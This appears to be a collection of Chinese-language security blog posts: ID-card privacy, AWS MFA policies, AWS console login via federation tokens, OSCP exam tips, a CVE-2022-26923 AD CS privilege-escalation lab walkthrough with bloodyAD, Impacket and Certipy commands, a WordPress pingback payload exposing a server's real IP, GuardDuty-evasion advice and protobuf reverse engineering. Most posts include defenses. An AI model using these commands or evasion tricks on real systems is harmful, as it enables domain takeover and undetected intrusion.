身分證外洩的風險

前言

身處很多事情都可以線上申辦的現在,舉凡像是銀行開戶或者租車之類的都可以線上辦理,而身分的驗證通常是透過上傳身分證影本來進行,但你有沒有想過這些檔案被不負責任的廠商外洩,進而導致身分被冒用呢?

既然要討論冒用,就要先認識身分證的關鍵資訊,究竟我們是怎麼認定一張身分證是有效的呢?

身分證的四個關鍵資訊

  1. 身份證字號
  2. 發證日期
  3. 雷射控管號碼
  4. 空白證流水控管號碼

必要項目

在線上申請或者影印時,「身份證字號」與「發證日期」是要給的,因為這是可以用於民間查驗的資訊。

查驗方法請參考 國民身分證領補換資料查詢作業

需隱藏項目

「雷射控管號碼」與「空白證流水控管號碼」 要藏好,會有法律作用。

在日常申辦過程中,如有要求 「雷射控管號碼」與「空白證流水控管號碼」 影印不得遮擋的狀況,請對方打給戶政事務所。

能怎麼做

作為自然人

  1. 身分證用於證明我們是誰,因此請務必保護好身分證資訊,不要輕易地給他人影印
  2. 若真的需要影印,請遮蔽需要隱藏的項目,避免被製成假的身分證,導致身分被冒用,蒙受損失
  3. 加上 「僅供辦理 OOXXX 使用 」的字樣
  4. 選擇注重資安的企業
  5. 若有發生外洩事件,請換發身分證

作為公司

  1. 公司若有查驗需求,可以參考 國民身分證真偽辨識資料 查驗身分證正本,非必要不要留存影本
  2. 應提升公司整體的資安意識,實行正確有效的資安措施,選擇有能力且可信任的資安廠商協助,才能夠真正保障消費者與公司資產
  3. 加強資安事件的應變處理能力
  4. 資料庫不要裸奔
  5. 若需要保存影本也請協助隱藏非必要資訊,並進行加密

小提醒

身分證號碼本身應被視為隱私資訊,但不應將其作為秘密來使用,畢竟身份證字號到處都在用,又會像空氣一樣外洩。

解決 Synology Hyper Backup 遠端 NAS 裝置備份無法連線的問題

前言

這幾天在設定 Synology Hyper Backup 遠端備份的時候,發生了網路都通但無法連線的錯誤,因此開始了除錯之旅,在這邊紀錄一下過程與解決辦法。

問題

  1. 遠端 NAS IP 可連線,可 Ping
  2. Synology Hyper Backup 與 Hyper Backup Vault 皆為最新版本 (3.0.2-2531)
  3. 可成功完成身分驗證
  4. 遠端 NAS 的 TCP/6281 可以連線
  5. 點選共用資料夾時發生「無法連線至備份目的地」的錯誤

過程

錄製封包

由於設備在遠端,又無可遠端操作的設備,因此選擇從閘道器 (Gateway) 進行封包錄製,大多數 Gateway 應該都有這個功能,在這裡以我家用的 FortiGate 50E 為例子。

我將 Filter 設定為我 NAS 的 IP 與 TCP/6281 (Hyper Backup) ,來避免錄製到其他封包。

分析封包

透過 Wireshark 分析封包,我從中發現了一個有趣的情況,TCP 連線有成功被建立,但當 TLS 交握才剛進行到 Client Hello 時,TCP 連線就直接被 Server RST 了。

由於在 Client Hello 階段就出事了,因此懷疑是憑證的問題。

更換憑證

我的 NAS 有簽憑證,因此先將 Hyper Backup 的憑證換回自動產生的 Synology.com

然後就好了

更換憑證後, Hyper Backup 就成功建立備份任務了。

結論

不能用 ECC 的憑證,要用 RSA 的。

限制 AWS 帳號必須啟動多因素認證 (Multi Factor Auth, MFA)

前言

越來越多企業將服務甚至內部核心搬上雲端,因此雲端平台的帳號保護就顯得非常重要,保護帳號的原則除了密碼複雜度外,我都會建議要啟動多因素認證 (MFA) 來進一步強化帳號的保護。

今天就來介紹一下該如何透過 IAM Policy 來限制帳號必須啟動 MFA (Multi Factor Auth) 才可以進行操作。

實行方法

IAM Policy Condition

要進行這樣的限制其實非常容易,在 Condition 中加入 aws:MultiFactorAuthPresent 的判斷即可,範例如下:

"Condition": {
    "BoolIfExists": {
        "aws:MultiFactorAuthPresent": "true"
    }
}

反向表達 (Deny)

如果針對每一個資源進行一次 aws:MultiFactorAuthPresent 判斷是非常耗時的,因此我們將條件反過來寫,範例如下:

"Sid": "DenyAllExceptListedIfNoMFA",
    "Effect": "Deny",
    "Resource": "*",
    "Condition": {
        "BoolIfExists": {
            "aws:MultiFactorAuthPresent ": "false"
        }
    }
 }

排除必要操作的限制 (NotAction)

如果我們將所有資源 "Resource": "*" 都加入 aws:MultiFactorAuthPresent,這將會導致沒有 MFA 的帳號無法啟用 MFA。

為了避免上述的問題,我們可以透過 NotAction 反過來排除相關限制,並允許 MFA 相關操作,讓使用者可以正常啟用帳號的 MFA,不會因此陷入死循環中,範例如下:

[
  {
    "Sid": "AllowViewAccountInfo",
    "Effect": "Allow",
    "Action": "iam:ListVirtualMFADevices",
    "Resource": "*"
  },
  {
    "Sid": "AllowManageOwnVirtualMFADevice",
    "Effect": "Allow",
    "Action": [
      "iam:CreateVirtualMFADevice",
      "iam:DeleteVirtualMFADevice"
    ],
    "Resource": "arn:aws:iam::*:mfa/${aws:username}"
  },
  {
    "Sid": "AllowManageOwnUserMFA",
    "Effect": "Allow",
    "Action": [
      "iam:DeactivateMFADevice",
      "iam:EnableMFADevice",
      "iam:GetUser",
      "iam:ListMFADevices",
      "iam:ResyncMFADevice"
    ],
    "Resource": "arn:aws:iam::*:user/${aws:username}"
  },
  {
    "Sid": "DenyAllExceptListedIfNoMFA",
    "Effect": "Deny",
    "NotAction": [
      "iam:GetUser",
      "iam:ListMFADevices",
      "iam:ListVirtualMFADevices",
      "iam:CreateVirtualMFADevice",
      "iam:EnableMFADevice",
      "iam:ResyncMFADevice",
      "sts:GetSessionToken",
      "iam:ChangePassword"
    ],
    "Resource": "*",
    "Condition": {
      "BoolIfExists": {
        "aws:MultiFactorAuthPresent": "false"
      }
    }
  }
]

最後一步

我們只需要將 Policy 套用到使用者身上,就可以達到強制啟動 MFA 才可以進行資源操作的目的。

用 AWS API Key 登入 AWS 管理主控台 (Web Console)

前言

雖然平常都使用標準帳號來登入 AWS 的管理主控台 (Web Console),但如果我們只有 API Key 的時候,是不是也能用來登入 Web Console 呢 ?

答案是: 可以

我們只需要透過 聯合存取/登入 ( Federated Access/Login ) 機制,就可以拿 AWS API Key 來登入 AWS 的管理主控台 (Web Console)。

整體流程

流程摘要

透過聯合存取/登入機制產生登入連結的大致上流程如下:

  1. 向 AWS STS 請求 Federation Token
  2. 向 AWS Signin Federation 送出請求,取得 Signin Token
  3. 產生登入網址
  4. 登入 Web Console

流程說明

向 AWS STS 請求 Federation Token

我們先使用 AWS API Key 向 AWS STS (AWS Security Token Service),請求一個 Federation Token。

# aws sts get-federation-token --name "Rilakkuma" --policy '{"Version": "2012-10-17", "Statement": [{"Effect": "Allow", "Action": "*", "Resource": "*"}]}'

參數的 name 可以隨意填寫,不需要真的存在。

Policy 的部分我們直接給 All ,來避免拿不到任何權限,但這也不代表我們可以拿到 Root ,AWS 會進行權限交集運算,計算最終可以拿到的權限。


來源: AWS Policies Evaluation Logic

從回應中我們可以得到 STS Token 三件組 AccessKeyId, SecretAccessKey, SessionToken

向 AWS Signin Federation API 送出請求,取得 Signin Token

在拿到 STS Token 三件組後,我們就可以向 AWS Signin Federation API (https://signin.aws.amazon.com/federation) 提出請求

請求結構如下

{
    "Action": "getSigninToken",
    "Session": {
       "sessionId": AccessKeyId,
       "sessionKey": SecretAccessKey,
       "sessionToken": SessionToken
   }
}

使用 HTTP Get 方式送出請求

curl "https://signin.aws.amazon.com/federation?Action=getSigninToken&Session=%7B%22sessionId%22:%22[AccessKeyId]%22,%22sessionKey%22:%22[SecretAccessKey]%22,%22sessionToken%22:%22[SessionToken]%22%7D"

記得要 URL Encode

從回應中取得 SigninToken

產生登入網址

取得 SigninToken 後,我們就可以產生登入網址

請求結構如下

{
    "Action": "login",
    "Issuer": "Keniver",
    "Destination": "https://console.aws.amazon.com/console/home",
    "SigninToken": SigninToken
}

將請求結構進行 URL Encode 後直接做為參數傳入 https://signin.aws.amazon.com/federation

https://signin.aws.amazon.com/federation?Action=login&Issuer=Keniver&Destination=https%3A%2F%2Fconsole%2Eaws%2Eamazon%2Ecom%2Fconsole%2Fhome&SigninToken=[SigninToken]

登入 Web Console

最後,我們訪問上面做出來的網址,就可以成功登入 AWS 的管理主控台 (Web Console)

Python Code

偵測

這類型的登入行為,透過 AWS CloudTrail 是很容易可以發現的。

我們可以從 ConsoleLogin 事件下手

在事件的細節中,可以觀察到聯合登入的使用者名稱(可能是假的),以及這個 Token 簽出的使用者

或者可以考慮用更前期的事件 GetFederationToken 去做偵測

後記

雖然有 API Key 就可以直接操作 API ,但對於雲端不太熟悉的同仁來說,直接用 Web GUI 會比較輕鬆。

請各位好好保護 AWS API Key,非自動化的帳號不要沒事產生 API Key。

OSCP 考試注意事項

內容更新

2023/01/09 更新: 更新 AD 計分方式資訊,與題目異常測試方法。

前言

有鑒於多名學員私訊詢問 OSCP 考試相關注意事項,因此在這邊做一個重點整理,希望可以降低學員考前的憂慮,讓大家能專注準備考試,熟悉考試規定避免非預期的失敗。

考試機制在 2022 年有變動過,所以網路上的分享會有一些差距。

官方資源

由於 OSCP 官方經常更新,為了避免爭議,請以 OSCP 官方考試指引 內容為準,考試前請務必看一次

考試模式

  1. 線上考試
    可以在自己家中,或者找旅館 (請務必確認網路穩定以及不會有人突然衝進來)。
  2. 全程監考
    a. 考試過程需要全程開啟視訊鏡頭,並共享所有螢幕給監考官 (只有影像,聲音不會傳過去)。
    b. 監考官會用平台的文字聊天功能跟你通訊,請務必注意
  3. 馬拉松
    a. 整個考試時間為 連續 48小時 (請做好時間規劃)。
    b. 前 23小時45分技術實作 (第一階段),後 24 小時(第二階段)撰寫並提交報告 (報告提交的時限是包含在 24 小時內的)。
    c. 中途可休息。

及格分數

目前及格分數為 70 分

準備物品

  1. 有效護照
    雖然疫情期間官方接受過期一小段時間的護照,但建議先寄信確認,有機率不行。
  2. 外接式網路攝影機 (Webcam)
    不要使用筆電內建的視訊鏡頭,因為監考官會要求你用鏡頭環繞四周,用外接式比較妥當。
  3. 安裝螢幕共享瀏覽器外掛,請參考 監考環境操作說明
    可以先安裝瀏覽器外掛,避免當天手忙腳亂

預約考試

  1. 登入 Portal
  2. 選擇期望的考試時間
    a. 只能改期兩次,請慎選時間。
    b. 建議及早預約,不然時間會很不如預期。
    c. 系統會自動轉換成你瀏覽器的時區,在台灣享受日本時區的同學請多加注意。
  3. 坐等預約時間到

考試過程

考試前

  1. 考試開始前 3天 ~ 10分鐘 (區間很廣) 收到通知信
    a. 內含監考環境登入資訊,不包含 VPN。
    b. 考試時間開始之前,嘗試登入都會寫帳號密碼錯誤,這是正常現象。
  2. 把監考環境需求的瀏覽器外掛先裝好

考試第一階段開始 (前 24 小時)

  1. 登入監考系統 (以下簡稱平台)
  2. 考官在平台上跟你聊天
  3. 請你用視訊鏡頭 (Webcam) 給他看護照
  4. 請你用視訊鏡頭 (Webcam) 慢速環顧四周給他看
  5. 請你分享所有畫面給他
    不是作業視窗,也不是虛擬機畫面,要整個螢幕,有幾個給幾個。
  6. 確認無誤後,寄送 VPN 資訊給你
  7. 執行給你的 trobleshooting.sh ,並把結果透過平台的聊天室傳給監考官
    a. 如果你是在虛擬機內進行考試,近期會請你連外部主機也要跑 trobleshooting.sh
    b. 大概會花掉 15 ~ 20分鐘,所以才會有考試時間 23 小時 45分 的說法
  8. 開始你的表演
  9. 如果你提早完成,可以跟監考官說要提前結束
    監考官回應沒問題後就可以關鏡頭關分享 (VPN 無法繼續使用)。

考試第二階段開始 (後 24 小時)

  1. 撰寫報告
  2. 壓縮後於平台上傳報告
    再次提醒:要在這個 24 小時結束前完成上傳

中場休息

  1. 考試途中需要休息
    a. 可以透過平台跟監考官說你要休息,人就可以開溜了,但螢幕分享與視訊鏡頭不可以關。
    b. 回來說一聲就可以繼續作業。
    c. 不需要等監考官回應。
  2. 想要睡覺
    可以跟考官說你要睡覺,他會切斷 VPN,此時你就可以關螢幕關鏡頭去睡覺。

題組形式

考試的題目系統會很清楚地跟你描述題目的類型與分組,不需要自己分辨,IP 資訊都會給你。

  1. 三組獨立題組
    每台主機 2 個 Flag (由 1 個 Local.txt 與 1 個 Proof.txt 組成)。
  2. 一組 AD 題組
    a. Local.txt 與 Proof.txt 的數量不一定,一般來說有4個,題目會額外說明 Flag 數量,沒講就是 4 個,有全拿就有 40分。(2023/01/09 更新,感謝學員提供)
    b. 全題組給分,少一個 Flag 整組不計分

評分方式

  1. 提交 Flag
    a. 1 個 Flag 值 10 分, Local.txt 與 Proof.txt 都同樣是 10 分。
    b. 作答系統會讓你選 目標 與 填入 Flag,不分 Local.txt 與 Proof.txt。
    c. 系統不會幫你檢查答案,在考試第一階段(前 24 小時)結束前隨時都可以改,填錯或少填就可以開始安排重考了。
    d. 可以參考 控制面板送出說明 的內容與畫面。
  2. 提交報告
    a. 一定要上傳!!,不要以為自己打滿 10 個 Flag 就可以不用傳,沒傳直接出局!
    b. 報告屬於 OSCP 的評分範圍,寫太爛可能會被扣分。

報告撰寫

請依照官方的範本項目進行撰寫,格式可以自己定,但項目內容一定要概括到。

  1. 證明截圖
    a. 除了給出 Flag 外,要跟 Flag 合影(截圖證明),同時必須包含 (主機名稱/IP/使用者/Flag),因此建議直接下 hostname && whoami && ip addr && cat Proof.txt ,一起截成一張圖放在報告上,如果想要看具體的畫面,可以參考 截圖要求
    b. 證明截圖要用互動式 Shell 才算數, Webshell 執行指令不算。
  2. 用到的工具與修改
    a. 過程中用到的工具要給下載網址。
    b. 如有修改,要把 Code 貼上報告,並註明修改的點。

可以用 官方的 Template 下去改,也可以用 OSCP-Exam-Report-Template-Markdown 去產生。

禁止事項

  1. Metasploit 只能用在獨立題組,不可以用在 AD,且只能用在一個獨立題組上
  2. Meterpreter 屬於 Metasploit 的一部分,所以算使用一次
  3. msfvenom 可以使用,但 如果你產生 Meterpreter 的 Payload,就算使用 Meterpreter
    請務必選擇普通的 TCP Reverse Shell。
  4. 看別人的解題過程
  5. 與別人討論解題
  6. 使用禁止使用的工具 禁用工具列表
    大原則是自動攻擊的都算,官方不會列出所有禁用,他審核的時候會看,覺得違規就違規,不會警告也不會給你申訴,不要覺得把 Acunetix 改成 Nmap 就可以矇混過關。
  7. ChatBot 也不可以用
    (ChatGPT…等)

風險行為

  1. 使用雲端服務 (如: Hackmd/Google Driver… 等,會有多人協作嫌疑的服務)
  2. 搜尋 OSCP AD 解法 這類關鍵字,可能不小心踩到禁止事項
  3. 使用有通訊能力的設備(手機/平板…等)
  4. 使用通訊軟體
  5. 桌面上有印刷紙張或者書本

重考規定

希望不要用到,假設真的需要,請參考 Exam Retake Policy

考題異常

考試過程如果發生了題目異常,請聯繫考題組 (Discord or Email),跟監考官說是沒用的。

異常案例

  1. 靶機 Ping 沒反應
    所有獨立題組理論上可以 Ping。
  2. 主機沒有開任何服務 Port
    至少會開個兔子洞 Port。

處理異常

  1. 請注意異常排除期間時間照樣計算,不會還給你,請不要因此停下腳步
  2. 試題工作人員登場後,會請你不要碰目標靶機,你可以繼續搞其他的
  3. 如果真的有問題,你可能會得到一張免費重考卷,目前沒遇到加時的狀況

個人建議

  1. 使用虛擬機
    盡量不要直接用實體主機,故障不好排除,也不容易還原,善用虛擬機的快照可以減少意外發生。
  2. 建議想睡覺時讓螢幕與鏡頭繼續掛著,這樣才能繼續掃描
  3. 把加分項目做好,那個 10 分很香,誠摯建議大家要把這 10 分拿穩
  4. Kali 可以用 Workspace 切 5 個工作區,(平台/獨立題1/獨立題2/獨立題3/AD 題組)
  5. 雙螢幕
    1個作答,另 1 個拿來監視考官有沒有跟你講話。

建議解題順序

  1. AD 題組
  2. 獨立靶機 Local.txt
  3. 獨立靶機 Proof.txt

由於 AD 題組全對才給分,因此 AD 一定要先拿下,不然後面多少努力都沒用。
Local.txt 難度較低,因此建議先通盤解一次。

報告撰寫建議

  1. 邊打就要邊截圖
    不要想說後面再來截,你時間可能會不夠,或者撰寫報告時才發現缺圖會很尷尬。
  2. 在考試途中可以邊寫,先用熟悉的語言撰寫,第二階段時再來翻英文
  3. 關於報告被扣分的看法
    我個人認為是過程不給分,而不是扣分,就像此題沒有計算過程,老師不給分。

環境整理小竅門

  1. 手機/平板丟房間外
  2. 多餘的東西集中在一起,用被子直接全部蓋起來

題外話: 2022 年起就沒有魔法小卡了,證書想要紙本要自己印,官方有給印刷版的檔案,出血都幫你留好了。

避免 AWS GuardDuty 偵測到 PenTest Finding

前言

如果我們使用滲透用 Liunx (Kali, Parrot, Pentoo) 去對 AWS 做滲透測試,很容易會觸發 GuardDuty 的 PenTest Finding,導致提早被抓包。

0x00 GuardDuty

Amazon GuardDuty 是一種威脅偵測服務,可持續監控您的 AWS 帳戶和工作負載是否有惡意活動,並提供詳細的安全問題清單以了解及進行修復。 – AWS

簡單來說呢,就是一個會智慧偵測威脅的服務,協助管理者發現攻擊行為。

0x01 PenTest Finding

這是 GuardDuty 偵測到的一種發現,主要是針對 IAM 這個服務去進行偵測,GuardDuty 會去偵測有沒有 IAM 相關呼叫是透過 Kali/Parrot 之類的滲透 Linux 發出請求的。

0x02 繞過 PenTest Finding

根據手冊 GuardDuty Finding Types IAM 的說法,這個發現的資料來源是 CloudTrail ,這就意味著是從 API 的呼叫紀錄去進行分析。

有了這樣的線索,我們就可以推測應該是透過 HTTP Header: User-Agent 關鍵字進行偵測,如此一來我們只要追蹤關鍵字的產生方法,就可以避開這個發現了。

從 botocore 的原始碼 中可以觀察到 platform.release() 會洩漏我們的發行版本

如果使用的 AWS ClI,那我們就必須直接 Patch 這行,如果是自行呼叫 botocore 是可以自訂 User-Agent,但為了方便我個人還是把他 Patch 掉,避免哪天被其他工具出賣。

CVE-2022–26923 AD CS 權限提升

前言

CVE-2022–26923 是一個利用 Machine account 具有 DNSHostName 寫入權限的特性進行提權的弱點,在紅隊演練中非常實用。

0x00 AD CS

AD CS(Active Directory Certification Authority) 是 Windows AD 所提供的憑證基礎設施服務 (PKI),可以用來管理公司內部的各種憑證(使用者/電腦/網站)。

0x01 弱點成因

Machine account 具有 DNSHostName 的寫入權限,Windows 未對此進行唯一值約束,因此我們可以把 DNSHostName 改的跟 DC 一模一樣。

接著,我們可以透過 AD CS 服務請求憑證,而 Machine account 是使用 DNSHostName 作為簽署對象,因此我們可以簽出一張 DC 的憑證。

最後,透過簽出來的憑證向 Kerberos 請求 DC 的服務票 (Service Ticket),Kerberos 使用簽屬對象作為身分識別,因此將我們誤會成 DC,讓我們獲得控制 DC 的能力。

0x02 實驗環境

  1. Domain: kuma.org
  2. Domain Controller
    • IP: 192.168.159.128
    • Name: WIN-818G5VCOLJO
  3. 低權限 Domain User

0x03 執行條件

  1. AD 尚未上 Patch
  2. AD 有安裝 CS (Certification Authority) 服務
  3. 擁有 Domain User (低權限)
  4. Domain User 具有建立 Machine Account 的權限與額度(預設:10)

0x04 獲得 Domain Machine Account

1. 本地主機提權後竊取

使用 Mimikatz 拿到 Machine 的 NTLM,之後進行 Pass the hash

2. 使用 Domain User 建立一個 Machine Account

方法一: 使用 bloodyAD

python3 bloodyAD.py -d kuma.org -u bear -p '[email protected]' --host 192.168.159.128 addComputer FakePC01 'Passw0rd'

方法二: 使用 Impacket

impacket-addcomputer "kuma.org/bear:[email protected]" -method LDAPS -computer-name FakePC02\$ -computer-pass Passw0rd -dc-ip 192.168.159.128

0x05 修改 DNSHostName

方法一: 使用 bloodyAD

python3 bloodyAD.py -d kuma.org -u FakePC01$ -p '[email protected]' --host 192.168.159.128 setAttribute 'CN=FakePC01,CN=Computers,DC=kuma,DC=org' DNSHostName '["WIN-818G5VCOLJO.kuma.org"]' 

方法二: 使用 AD Explorer

Active Directory Explorer 是微軟推出(併購)的 AD 維護工具

  1. 使用 FakePC02 登入 AD

  2. 因為 DNSHostName 與 ServicePrincipalName 有相依,先移除主機的 ServicePrincipalName 屬性

  3. 接著修改 DNSHostName 屬性

0x06 請求證書

使用 Certipy 請求證書

certipy req 'kuma.org/FakePC01$:[email protected]' -ca 'kuma-CA' -template 'Machine'

0x07 取得 DC 的 NTLM

使用 Certipy 取得 DC NTLM

certipy auth -pfx win-818g5vcoljo.pfx -debug -dc-ip 192.168.159.128 

0x08 如何防禦

  1. 打上 Patch
  2. 將使用者的 ms-DS-MachineAccountQuota 改為 0 (暫時性的)
  3. 收回非必要具有寫入 DNS hostname 權限的帳戶

0xFE KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)

若 Certipy 在嘗試取得 TGT 時發生 「KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)」,這是因為 KDC 上未啟動 PKInit (Public Key Cryptography for Initial Authentication)

DC 可控

如果我們可以控制 DC (測試環境?),我們只要在 AD 的群組原則 Computer Configuration -> Administrative Templates (Computers) -> System -> KDC ,將 KDC support for PKInit Freshness Extension 設定為 Enable,即可啟動 PKInit

DC 不可控

可以使用 RBCD (Kerberos Resource-Based Constrained Delegation) 的攻擊手段作為替代。

0xFF 參考

  1. Active Directory Domain Privilege Escalation (CVE-2022–26923)
  2. bloodyAD and CVE-2022-26923

取得 CDN(WAF) 背後的 WordPress 真實 IP

前言

在現在 CDN (或者是 WAF) 普及的時代,架設網站沒有掛個 CDN 實在太過意不去啦,CDN 除了提升使用者體驗外,蠻多 CDN 都有提供一定程度的 WAF 防禦功能,同時也避免伺服器真實 IP 外洩而遭受 DDoS 攻擊的危害。

但是如果網站是使用 WordPress 所架設的,其實我們是可以透過 XML-RPC 來讓 WordPress 自報家門 (IP) 的呢!

0x00 XML-RPC 是啥?

簡單來說,XML-RPC 是使用 XML 格式封裝的 RPC(Remote Procedure Call) ,而 WordPress 正好有提供 XML-RPC,讓我們可以藉此操作 WordPress。

下面是一個列出支援方法的 XML-RPC

<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
    <methodName>system.listMethods</methodName>
    <params></params>
</methodCall>

WordPress 的 XML-RPC 的 Endpoint 位於 https://網址/xmlrpc.php,使用 POST 的方式傳送

回傳的結果也是 XML,裡面包含了可以使用的方法

0x01 關於 Pingback

Pingback 是部落格系統中的一個機制,用於通知對方 Blog 說: 「我提到了你!」,讓對方知道有誰的 Blog 提到他的文章,這類似我們聊天中常用的 @,然而 WordPress 作為知名的 Blog 系統當然具有這個功能。

但仔細想一想,這個功能的實作是由主機所發出的,這就意味著只要能讓他戳我,我就可以獲得主機的真實 IP。

0x02 利用一下 pingback.ping

在 WordPress XML-RPC 的可用方法清單中,我們可以觀察到 pingback.ping 的存在。

而這個方法的呼叫負荷(Payload)如下

<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
   <methodName>pingback.ping</methodName>
   <params>
       <param>
           <value><string>文章來源</string></value>
       </param>
       <param>
           <value><string>參照到的文章</string></value>
       </param>
   </params>
</methodCall>

像是本篇文章的網址為 https://blog.keniver.com/2022/05/ip-disclosure-of-wordpress-behind-cdn-waf/,而我的接收端為 http://pingb.in/bbbbbbbbbbbbbbbbbbbbbbbbbbbb,我們就可以把 Payload 改成下面這樣

<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
   <methodName>pingback.ping</methodName>
   <params>
       <param>
           <value><string>http://pingb.in/p/bbbbbbbbbbbbbbbbbbbbbbbbbbbb</string></value>
       </param>
       <param>
           <value><string>https://blog.keniver.com/2022/05/ip-disclosure-of-wordpress-behind-cdn-waf/</string></value>
       </param>
   </params>
</methodCall>

送出後,我們會得到失敗的回應,但不用擔心,當然會失敗啊(畢竟接收端不是支援 Pingback 的 Blog)

我們接著就可以在接收端觀察到這次的請求

0x03 Invalid discovery target

如果回應結果中出現了 Invalid discovery target ,代表這個 Blog 啟動了 Akismet Anti-Spam 這個外掛,被擋掉啦~

0x04 如何防禦

  1. 安裝外掛 Akismet Anti-Spam 讓他幫你阻擋
  2. 寫段程式把 XML-RPC 的 pingback.ping 移除
<?php
add_filter( 'xmlrpc_methods', 
   function( $methods ) {
         unset( $methods['pingback.ping'] );
         return $methods;
   }
);

由於 pingback.ping 被我們拔掉了,當嘗試呼叫這個功能時將會發生錯誤

Protobuf 分析與重建案例分享

前言

這陣子在做 IoT 設備資安檢測的時候發現受測設備的設定檔是 Protobuf 的序列化格式,剛好先前在 使用 protobuf inspector 分析未知結構緩衝資料 一文中介紹了如何對未知結構的 Protobuf 進行分析,今天我們就來把分析結果轉成可用的程式吧!

文中的設定檔非當事設定檔,是依照概念與所發現的真實問題重新設計的檔案。

你可以在 Github – protobuf-analysis-sample 下載到本文用到的檔案。

0x00 使用 Protobuf inspector 分析資料格式

先照著 使用 protobuf inspector 分析未知結構緩衝資料 的說明對資料進行初步分析,可以發現結構意外單純。

透過上圖結果,我們可以觀察到以下資訊

  • 1: 設定檔案的編號
  • 2: 韌體版本
  • 3: 硬體序號
  • 4: 網路設定
  • 5: 使用者帳號

項目 4,5 後方寫著 <chunk> = message: ,代表這兩個項目是指向另一個 message 封裝(可以把它當作另外一個物件看待)

0x01 安裝 Protobuf 編譯環境

這邊不再贅述,請參閱 在 macOS上安裝 Protobuf 編譯環境

0x02 重建 protobuf 結構描述檔

0x02.1 打地基

根據 步驟 0x00 的分析結果,我們大致上知道這個設定檔存在三個 Message,一個是根結構,兩個參考結構(網路設定/使用者帳號)

因此一開始我們可以先把基本架構蓋出來

File: config.proto

syntax = "proto2";

message NetworkSetting {
}

message Account {
}

message Config {
}

0x02.2 放入變數

message NetworkSetting {
    required string ip = 1;
    required string mask = 2;
    required string gateway = 3;
    required string dns1 = 4;
    optional string dns2 = 5;     # 在 0x00 的分析中並沒有這個項目,因為他是可選的,只有在設備設定了 DNS 2 後才會出現
}

message Account {
    required string username = 1;
    required string password = 2;
    required int32 level = 3;
}

message Config {      #這是我們的根結構
    required string config_version = 1;
    required string firmware_version = 2;
    required string device_identification = 3;
    required NetworkSetting network_setting = 4;
    repeated Account accounts = 5;      # 從 0x00 的分析中觀察到 項目 5 有複數個,因此設定為 repeated(陣列)
}

0x03 編譯 .proto 結構描述檔

完成描述檔後,便可以使用 protoc 將 .proto 轉換為我們想要使用的語言

編譯方法如下:

[email protected] ~ $ protoc -I=`pwd` --python_out=`pwd` `pwd`/config.proto
#  --python_out 是因為我要編給 Python 使用,你也可以編譯給其他程式語言使用

編譯後會生成 檔案名稱_pb2.py 的檔案,這是供我們引入 Python 使用的物件

0x04 讀取 Protobuf 檔案

成功編譯 .proto 後,我們只需要在 Python 中引入編譯後的物件,就可以開始讀取 protobuf 的緩衝檔案

File: config_reader.py

import config_pb2   # 步驟 0x03 編譯後產生的物件

config = config_pb2.Config() #   在定義結構的階段,我們將 Config 定為根結構,故此處呼叫 Config 物件

with open("exported1.config") as f: 
    config.ParseFromString(f.read())  # 將讀進來的檔案轉換為物件

接著我們就可以依照我們的需求對檔案進行讀取

File: config_reader.py

print( config.accounts[0].username, config.accounts[0].password )
# 輸出為: admin admin
print( config.accounts[1].username, config.accounts[1].password )
# 輸出為: user user

請不要使用明文儲存使用者密碼,請用 Hash

在 macOS上安裝 Protobuf 編譯環境

0x00 安裝 Brew

Protobuf 可以從原始碼編譯後安裝,在 macOS 上我們可以透過 brew 快速安裝,這會遠比從原始碼編譯來得輕鬆,雖然不會是真的最新版本,但大多數情況下已經足夠。

Brew 的安裝非常簡單,只要執行下列指令即可

/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install.sh)"

注意: 不要使用 sudo 或者 root 執行上述指令

0x01 安裝 protobuf compiler – protoc

在安裝完 Brew 後,我們就可以使用 brew install 來安裝 protobuf 編譯器

[email protected] ~ $  brew install protobuf

0x02 確認 protoc 版本

protoc 使用參數 –version 可以查看當前 protoc 的版本

[email protected] ~ $ protoc --version
libprotoc 3.11.4

0x03 安裝 Python 套件

Protobuf 有支援 Python,使用前要先用 pip install 安裝

[email protected] ~ $ pip install protobuf

若沒有安裝 Protobuf 的 Python 的套件,執行程式時會產生找不到模組的錯誤

    from google.protobuf import descriptor as _descriptor
ImportError: No module named google.protobuf